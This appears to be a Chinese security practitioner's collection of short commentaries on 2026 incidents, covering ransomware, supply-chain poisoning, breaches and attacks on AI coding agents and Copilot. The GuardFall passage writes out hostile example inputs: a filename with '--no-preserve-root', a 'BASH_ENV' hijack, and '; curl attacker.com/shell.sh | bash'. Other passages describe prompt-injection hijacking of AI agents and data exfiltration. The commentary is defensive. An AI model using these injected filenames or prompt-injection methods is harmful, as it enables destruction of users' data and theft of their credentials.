我的安全视界观

2026年7月2日，The Hacker News披露了首个完全由AI Agent执行的自动化勒索攻击。攻击者利用CVE-2025-3248（Langflow未授权RCE）和CVE-2021-29441（Nacos默认签名密钥绕过），在10分钟内完成从初始访问到数据加密的完整攻击链。AI Agent展现了自我修正能力（31秒内完成错误修正），且勒索密钥仅显示一次从不保存，即使支付也无法恢复数据。 这标志着勒索攻击从"高水平黑客专属"进入"AI自动化时代"。传统勒索需要高水平黑客数天甚至数周的时间，现在AI Agent可在10分钟内完成。更危险的是，AI具备自我修正能力——攻击过程中遇到错误可自动调整策略，无需人类干预。 防御方必须从根本上重构安全策略： 1、补丁管理：从"定期打补丁"变为"立即打补丁"，窗口期从数周缩短至数小时； 2、凭证管理：禁止将API密钥存放于AI工具环境变量，使用专业密钥管理器隔离存储； 3、运行时检测：将"运行时异常行为检测"置于"打补丁竞赛"之上，因为攻击者可数小时内武器化新漏洞。

2026年7月，安全研究人员披露了一类针对AI Coding Agent的新型攻击手法：利用Bash的"老技巧"——通配符注入、环境变量劫持、命令分隔符——绕过Claude Code、Copilot、Cursor等主流工具的安全护栏。讽刺的是，这些语法诞生于1980年代，却轻松穿透了2020年代的AI安全防线。 攻击者的手法并不复杂。在开源仓库中植入一个文件名如"清理我 --no-preserve-root"的测试文件，当开发者让Agent执行rm *清理仓库时，Shell将空格分隔的多个词展开为独立参数，--no-preserve-root标志传给rm命令，导致整个目录树被删除。全程Agent无感知，用户零交互。 更隐蔽的攻击利用环境变量劫持。攻击者在仓库中埋伏.env文件，设置BASH_ENV=/tmp/malware.sh，当Agent执行任何Bash命令时，恶意脚本自动加载执行。还有命令分隔符注入：文件名中包含; curl attacker.com/shell.sh | bash，Agent解析文件名时触发命令执行。 GuardFall的核心威胁在于攻击门槛极低——无需漏洞利用、无需凭证窃取、无需复杂技术栈，只需要一个恶意文件名或环境变量配置。而且它影响所有主流AI Coding Agent，因为它们都默认开启了Shell执行权限。 修复？没有CVE，没有官方补丁。缓解措施包括：禁用非必要的Shell执行权限、在沙箱环境中运行Agent、使用参数确定性展开（避免通配符）、部署NVIDIA的SkillSpector扫描工具检测潜在注入点。 GuardFall给我们的启示是：AI安全不能只盯着模型本身，还要审视AI"继承"的传统技术债务。1980年代的Bash设计从未考虑过会被AI Agent调用，但这些"遗产"今天成了攻击者的捷径。安全左移在AI时代有了新含义——不仅要左移到开发阶段，还要左移到AI工具的设计阶段。当AI Agent被赋予Shell权限时，我们是否认真评估过这背后的风险？ 这起事件也提醒安全团队：AI安全测试需要跳出"提示注入"的思维定式，关注AI与底层系统交互的每一个环节。攻击者不会只盯着AI模型本身，他们会寻找AI"能力边界"的薄弱点——而Shell执行，恰恰是这些边界中最容易被忽视的一环。

2026年6月30日，日产汽车官方披露员工数据泄露事件。攻击者利用Oracle PeopleSoft SSRF零日漏洞（CVE-2026-35273，CVSS 9.8/10），从2026年5月27日起攻击约100家机构，日产汽车不幸中招。泄露数据包括员工联系信息、银行数据、社会安全号码、税务信息，波及美国、加拿大、墨西哥、巴西员工。 ShinyHunters组织对此负责，他们使用zstd压缩数据后外传至C2服务器（176.120.22.24）。Oracle于2026年6月12日发布临时缓解措施，但攻击早在两周前已开始。 这一事件标志着供应链攻击进入"跳板时代"——攻击者不再直接攻击企业网络，而是通过第三方系统（如Oracle PeopleSoft）作为跳板。SSRF漏洞的破坏性被严重低估，从"低危"到"高危"的范式转变已不可回避。 企业必须立即审查第三方系统的安全状况，建立零日漏洞快速响应机制（目标：24小时内应用缓解措施），并将供应链安全提升至战略高度。防御的重点不是"防止被攻击"，而是"快速发现并响应攻击"。

Island 研究团队近日披露，Chrome Web Store 排名第 31 的广告拦截扩展 "Adblock for YouTube"（1100 万安装量）存在严重的远程代码执行能力。 该扩展申请的 <all_urls> 权限使其可以访问用户访问的每一个网站，而 URL 检查仅验证是否包含 "youtube.com" 字符串，恶意 URL 可轻松绕过。更危险的是，扩展代码中存在自 2025 年 2 月起就有的远程控制脚本注入路径，攻击者只需攻破扩展开发者服务端，即可在 1100 万浏览器中静默执行任意 JS，无需扩展更新、无需商店审核。 这次事件标志着浏览器扩展供应链攻击进入"能力投毒"新阶段——扩展本身合法上架，但含远程激活开关。 对于安全团队来说，浏览器扩展管理不能靠用户自觉，必须纳入终端安全策略，从"用户自觉"转向"强制治理"。

【事件类型】 MaaS（恶意软件即服务）犯罪产业链覆灭 运营时间： 2018-10 ~ 2026-06（超7年） 执法行动： Europol 主导 · Operation Endgame · 2026-06 Amadey 是由"Increase"运营的 C++ 后门，StealC 是 InfoStealer 工具，两者形成完整的 MaaS 犯罪流水线：Amadey 负责初始投递与持久化，StealC 负责系统性窃取浏览器凭证、Cookie、信用卡数据。攻击者将窃取数据在地下市场变现，用于勒索软件入侵、金融欺诈和账户冒名登录。 Europol 协调荷兰 NCA、加拿大 RCMP、德国 BKA、美国 FBI 四国执法机构，联合 Microsoft DCU、Bitdefender、ESET、BitSight、Lumen、MBSD 六家企业协办方，2026 年 6 月实施 Operation Endgame，两周内同步打击 Amadey、StealC、SocGholish 三大 MaaS 生态，共查封 326 台犯罪服务器、142 个恶意域名，冻结超 4700 万美元加密资产，追回 2700 万条被盗凭证。 【核心启示】 MaaS 生态的覆灭证明打击是有效的，但 2700 万条被追回凭证和持续活跃的 MaaS 变种表明威胁并未消失。 企业防御的核心在于：缩短"被入侵 → 被发现"的时间窗口，系统梳理自身"攻击路径图"，强制推行 MFA/PASSKEY 建立凭证安全最后防线，同时积极参与行业威胁情报共享机制（ISAC），而非依赖单一技术产品。

【事件核心】 2026年6月，全球制药巨头诺和诺德遭勒索软件团伙FulcrumSec定向攻击，利用MOVEit Transfer零日漏洞CVE-2026-42198突破外网，低速横向渗透2个月后分片加密导出1.3TB核心数据（含"蜻蜓"多模态AI全栈权重），索要2500万美元赎金遭拒。 【AI资产定义】 AI资产是指企业在人工智能研发与应用过程中形成的、具有经济价值和技术壁垒的核心资源，主要包括： ①AI模型权重（训练完成的神经网络参数文件，如诺和诺德"蜻蜓"模型全栈）； ②训练数据集（高质量标注数据、专有领域语料）； ③推理API与服务平台（模型部署环境、API密钥、调用日志）； ④AI研发配套设施（训练代码、实验记录、超参数配置）。其价值不仅在于重建成本高（"蜻蜓"研发投入超10亿美元），更在于一旦泄露，竞争对手可低成本复制核心能力，甚至通过"模型逆向"获取训练数据中的商业机密。 【安全启示】 此次事件标志着AI资产安全从"理论风险"进入"实战损失"阶段。攻击者采用"日均20GB慢速数据外传"规避传统DLP阈值检测，揭示行为分析必须从"阈值检测"转向"基线偏离检测"。勒索软件团伙展现出惊人的"商业分析能力"——2500万美元赎金相当于"蜻蜓"研发投入的2.5%，且威胁向竞品倒卖，本质是商业竞争情报战。 【个人观点】 作为安全从业人员，我观察到AI模型权重长期处于安全边界的"三不管"地带：研发团队认为"这是算法"，安全团队认为"这是业务系统"，法务团队认为"这归知识产权"。 结果AI训练环境既无网络隔离，也无行为监测。AI资产不是"算法"，是"核心知识产权+商业竞争力+国家安全"的三位一体。保护它，不是在保护数据，是在保护未来。 防护建议： 1、立即盘点AI资产清单，建立训练环境专用隔离区 2、优化DLP规则，覆盖"日均20GB"级别的慢速数据泄露 3、建立供应链软件漏洞情报机制，实现零日漏洞小时级响应 4、制定勒索软件专项应急预案，明确"不支付、快报告、重恢复"三原则

事件一句话： 国家安全部以政府最高权威首次系统性披露开源软件供应链投毒全貌，Shai-Hulud等攻击组织通过OIDC信任链滥用+SLSA签名绕过+Import-time执行构建了"带签名的恶意包"攻击模式，覆盖npm/PyPI双生态，2026年上半年受影响包数量达62个，开发者中招后凭证被静默窃取。 为什么值得深挖？ 这是2026年最具标志性的供应链安全事件——不是因为技术有多前沿，而是因为国家级权威机构的定调意味着供应链安全已经不只是技术问题，而是国家层面的战略议题。国安部原文点出了四个核心困境：隐蔽性强、波及范围广、修复周期长、企业自查难。这四条，每一条都在直指当前供应链安全体系的结构性软肋。 我的核心观点： 带签名的恶意包是一个警示信号——SLSA框架的初衷是防篡改，但当上游账户被攻陷时，签名反而成为恶意包的"合法外衣"。这说明供应链安全不能只依赖签名验证，还需要账户级别的强认证和依赖可视化。 更深层的风险是"什么都没做错也会中招"。开发者正常写代码、正常安装依赖，就可能被窃取GitHub Token和SSH私钥。传统的安全意识培训在这里完全失效，因为这不是社工攻击，是结构性漏洞。 修复周期长才是真正的战略风险——上游不修，下游永远处于已知漏洞状态。这个时间窗口，可能长达数周甚至数月。

这可能是《深耕研发安全》系列的最后一篇文章了，介绍在企业混沌的研发环境中，引入“自助式”的理念，安全团队专注提供各类安全检测能力和制定全链路闭环流程，让各产品线自主接入安全检测能力或使用同一个系统来开展安全研发相关活动。

2026年6月，Varonis披露了Microsoft 365 Copilot的一个高危漏洞链——攻击者只需在合法Copilot URL的q参数中嵌入恶意指令，诱导用户点击一次链接，即可在用户无感知的情况下窃取其所有Copilot可访问的企业数据（邮件、会议记录、文档、2FA验证码），并通过图片URL外传。 这不是一个普通的「代码bug」，而是LLM固有特性导致的系统性问题——AI无法区分「用户指令」和「第三方内容中的恶意指令」。这次漏洞标志着AI安全从「理论风险」正式进入「实战可利用」阶段。 对企业而言，这带来了三个核心警示：传统安全技术无法解决AI指令边界问题；提示注入将成为AI部署的头号威胁（门槛极低，任何会写Prompt的人都能发动攻击）；以及「AI就绪」绝不等于「AI安全就绪」——在AI部署之前做完安全评估，而不是「先上线再补漏洞」，这是每家企业都应该尽快建立的基本认知。 SearchLeak只是一个开始。2026年下半年，会有更多AI实战化漏洞被披露。企业安全团队，现在就得动起来了。

一个恶意URL，无需用户交互，即可劫持AI Agent在宿主机上执行任意代码——这是微软2026年6月18日披露的AutoJack攻击。 该漏洞链横跨三个CWE：CWE-1385（Origin验证被Agent浏览器绕过）→ CWE-306（MCP路径认证缺失）→ CWE-78（URL参数直接执行系统命令）。 核心问题在于，AI Agent既能浏览互联网，又能与本地特权服务通信，"localhost=可信"这一传统假设被彻底打破。 修复方案（commit b047730）将参数存储改为服务端绑定、收紧认证skip-list，但根本性风险依然存在：当Agent成为人机交互的主界面，它同时也成了攻击者的入口。 这不是某个函数的bug，而是整个系统设计假设的失效。AI Agent安全已从"理论风险"进入"可实战利用"阶段，安全左移已非可选，而是必选。

2026 年 6 月 12 日，全球 WordPress 生态遭遇了一场典型的两步跳供应链攻击：攻击者先利用营销服务器上第三方插件 UpdraftPlus 的已知漏洞入侵，窃取存储于该服务器的 CDN API 密钥，随后通过 CDN 直接向 OptinMonster（100 万+ 活跃安装）、TrustPulse、PushEngage 三款插件的 JS 文件注入恶意代码，全球数百万 WordPress 站点在约数小时暴露窗口内受影响。 恶意 JS 在管理员登录态下激活，创建隐藏管理员账户、部署 Web Shell 外泄站点凭证，后门伪装成 "Content Delivery Helper" 等正常插件名称。 这次事件最值得拆解的失误是：营销服务器（非核心业务）上存储了拥有 CDN 写入权限的 API 密钥。攻击成本极低——找一个漏洞插件，就能撬动百万量级的下游。 官方公告的那句话值得每个做企业安全的人贴在墙上："Remediating our systems does not clean a site that was already compromised"——修复感染源不等于修复客户系统。

数据勒索/敲诈团伙ShinyHunters利用CVE-2026-35273（CVSS 9.8，SSRF→RCE）对全球约100家组织实施攻击，其中68%为高等教育机构。该漏洞无需认证、无需交互，只要网络可达即可接管服务器。从5月27日攻击启动到6月10日Oracle发布公告，零日窗口约14天。 攻击者部署MeshCentral远控代理（伪装为Azure服务），通过SSH凭证喷洒横向移动，使用zstd压缩数据外传至ShinyHunters泄露站。诺丁汉大学确认数据泄露已被发布。 这起事件让我感触最深的是：攻击的起点往往就是一个"我以为关了但实际还开着"的端口。PSEMHUB不该暴露在互联网上，但100多家机构就这么暴露着。CAASM持续监测暴露面的价值，在零日攻防中被充分验证。 同时，Mandiant在公开披露前向100+家组织发出预警、部分组织成功阻断——这证明外部情报订阅+内部资产关联是压缩零日响应窗口的关键能力，而不仅仅是靠补丁速度。

2026年6月5日，Include Security与独立研究员Buchodi发布技术分析报告，揭露以色列公司Bright Data通过SDK植入方式，将全球数亿台智能电视和移动设备转化为住宅代理节点，为AI公司提供爬虫流量中转服务。 这个事件最让我不安的是，它用"合法商业"的外壳，把普通用户的设备变成了网络基础设施的一部分，而且是在用户毫不知情或无法理解技术含义的情况下完成的。 从企业安全视角，我们以为"VPN + 防火墙"就够了，但实际上员工设备上的SDK可以绕过所有这些防护。企业需要开始关注设备层面的流量审计。

2026年5月，RedAccess发布研究报告，披露Shadow Builders事件： 使用Lovable、Base44、Netlify、Replit等主流AI编程平台（Vibe Coding）开发的应用中，存在大规模敏感数据暴露问题。 38万+公网可访问应用中，5000+存在安全问题，2000+已确认暴露敏感数据，覆盖航运、医疗、金融、政务等六大洲多个行业。 虽然国内可能还不多，但是本事件折射出AI编程时代的安全治理代际差问题：Vibe Coding将应用开发从专业团队下沉到业务人员，这个转变在数周内完成，但企业安全能力建设可能需要数年。 传统安全工具（EDR/DLP/CASB）在Session层面前近乎失效，攻击发生在Session层而防御部署在端点层，两者之间是一片无人区。 解决之道不在于禁止AI编程，而在于建立适应AI时代的治理框架：承认Shadow Builders已经存在，在Session层建立可见性，持续治理而非一次性清理。

供应链攻击已经进化到「精准投毒+凭证窃取+横向渗透」的组合拳模式。攻击者不需要零日漏洞，不需要高超的漏洞利用技术，只需要找到开源项目维护流程中的一个疏忽时刻。 最令人担忧的是攻击的复制成本极低。一旦攻击者掌握了orphan commit技术，可以批量攻击数百个开源项目。防御方需要为每个项目建立防护，而攻击方只需要找到一个薄弱环节。 如果同样的事情发生在我们公司，我们能在多长时间内完成同样的响应？我们有没有类似的自动化密钥轮换系统？我们的异常检测系统够不够灵敏？我们的应急响应预案在哪里？上次演练是什么时候？ 每个安全负责人都应该定期问问自己这些问题。答案决定了我们能否经受住下一次供应链攻击的考验。

Anthropic正式发布其最强AI模型Claude Fable 5与Mythos 5，首次采用"同一模型、双版本分发"的安全分层策略。Fable 5面向公众开放，搭载安全分类器拦截网络安全相关请求；Mythos 5解除限制，仅限受信机构使用。 此前Project Glasswing已借助该模型发现超1万个高危漏洞，Mythos甚至能从17年前的漏洞自动编写RCE利用程序。 作为安全从业者，我认为这标志着一个关键转折点：AI将漏洞发现速度提升数个数量级，但修复仍依赖人工，"发现-修复"的天平正在失衡。 更值得关注的是，英国AISI已短时间取得通用jailbreak进展，Anthropic也承认"完全防止几乎不可能"——这意味着未来某个prompt就可能让公众版AI变成全能黑客工具。当AI找漏洞的能力变成"基础设施级"能力时，整个行业的攻防天平将永久倾斜。

2026年3月下旬，Anthropic 一周内连续两次"手抖"： 第一波（3月26日）：CMS 配置错误，近 3,000 份内部文件暴露，含未发布模型 Claude Mythos（Anthropic 自述"网络安全能力远超任何其他 AI 模型"）。 第二波（3月31日）：npm 发布 @anthropic-ai/claude-code v2.1.88 时遗漏 source map 过滤，59.8MB .map 文件暴露 51.2 万行源码，GitHub 社区 4.1 万 fork 疯狂传播。 从企业安全视角，我们习惯关注 APT、零日漏洞、供应链攻击，却往往忽视一个更基础的问题：发布流程的可靠性。 Claude Code 的架构设计令人叹服 - - 46K 行查询引擎、40+ 工具权限门控、多 Agent 编排、Bun 运行时、React + Ink 终端 UI。但一个忘记勾选的配置，就让所有努力付诸东流。 这个事件值得每一家 AI 公司引以为戒：当你的模型能力越来越强，你的流程是否也同步变强了？

2026年6月2日，安全初创公司depthfirst宣布其自主AI安全代理在FFmpeg多媒体框架中发现了21个已确认的零日漏洞。这一发现标志着AI驱动的安全研究已经进入实战阶段。 关键数据：约1,000美元成本，扫描约150万行C代码，发现21个零日漏洞，每个都附带可复现的PoC。部分漏洞潜伏时间长达15-20年，涉及堆溢出、栈溢出、整数溢出等多种内存安全漏洞。 FFmpeg作为全球使用最广泛的多媒体处理库之一，被应用于浏览器、流媒体平台、监控系统、移动应用和嵌入式设备。这意味着这些漏洞的影响范围极大，全球数百万应用和设备可能受到影响。 从安全专家视角来看，这一事件带来三重启示： 其一，AI代理的安全研究效率远超传统人工审计，但攻击者同样可以使用相同技术； 其二，开源软件供应链安全需要更系统的管理和监测机制； 其三，安全团队需要升级能力，学习AI安全技术，建立人机协作的新范式。 FFmpeg安全团队已确认漏洞存在并着手修复。作为企业安全负责人，建议立即盘点内部FFmpeg使用情况，建立SBOM清单，升级到最新版本，并持续关注官方安全公告。 AI时代的安全形势正在加速演变，唯有主动拥抱技术变革，才能在这场攻防博弈中占据先机。

提示注入漏洞让一个 GitHub Issue 变成了供应链核弹——影响面 ~1.7 万个仓库，而修复窗口只有 4 天。 真正的风险不在于这个漏洞本身，而在于：当 AI 编程代理大规模进入企业 CI/CD 流水线之后，类似的提示注入漏洞会成为攻击者的标准入口。我们现在不把安全框架建立起来，等出事的时候就晚了。 给企业安全团队的三条硬建议： 1、立即做资产清点 有没有在用 GitHub Actions？有没有引入 AI 编程代理（Claude Code / Copilot Agent / 其他）？ 如果答案是"有"，先搞清楚权限范围是什么——别等出了事再翻日志。 2、最小权限 + 零信任，现在就做 1）AI 代理只给完成任务所需的最小权限，多一个 scope 都不行 2）Pin GitHub Actions 到 commit SHA（防止 tag 被移动投毒） 3）敏感凭证（npm token、API key）与 AI 代理隔离，别让它能读到 /proc/self/environ 3、 建立 AI 代理的审计和应急响应机制 1）启用 GitHub Actions 审计日志，监控异常的工作流触发 2）制定预案：当 AI 代理被入侵时，如何快速吊销凭证、隔离受影响仓库、回溯攻击链？ #AI编程代理#供应链攻击

看到 CVE-2026-0257（PAN-OS GlobalProtect 认证绕过）的细节，利用链和应急响应动作，一切都是那么熟悉。 边界类产品的暴露面最大——必须开放端口、接受外部连接、拥有最高权限。它们是攻击者的首选目标，应急响应优先级应该是最高之一。 安全团队也不能"灯下黑"。 我们天天提醒业务团队打补丁、限制访问、开 MFA， 却往往忽视自己管理的边界类、集权类安全产品： 1、防火墙/VPN 控制台暴露公网，补丁延迟打； 2、EDR/XDR 控制台"只有内网能访问"，就放松警惕； 3、漏洞扫描器、IAM/SSO 自身安全性被遗忘。 做好防护，不止是限制 IP 访问。还要加强： 1、异常行为监测：关键 API（登录、配置修改）的异常调用； 2、账号行为审计：重要账号的操作日志、基线行为模型、实时告警。 #安全产品#漏洞利用#安全事件#PaloAlto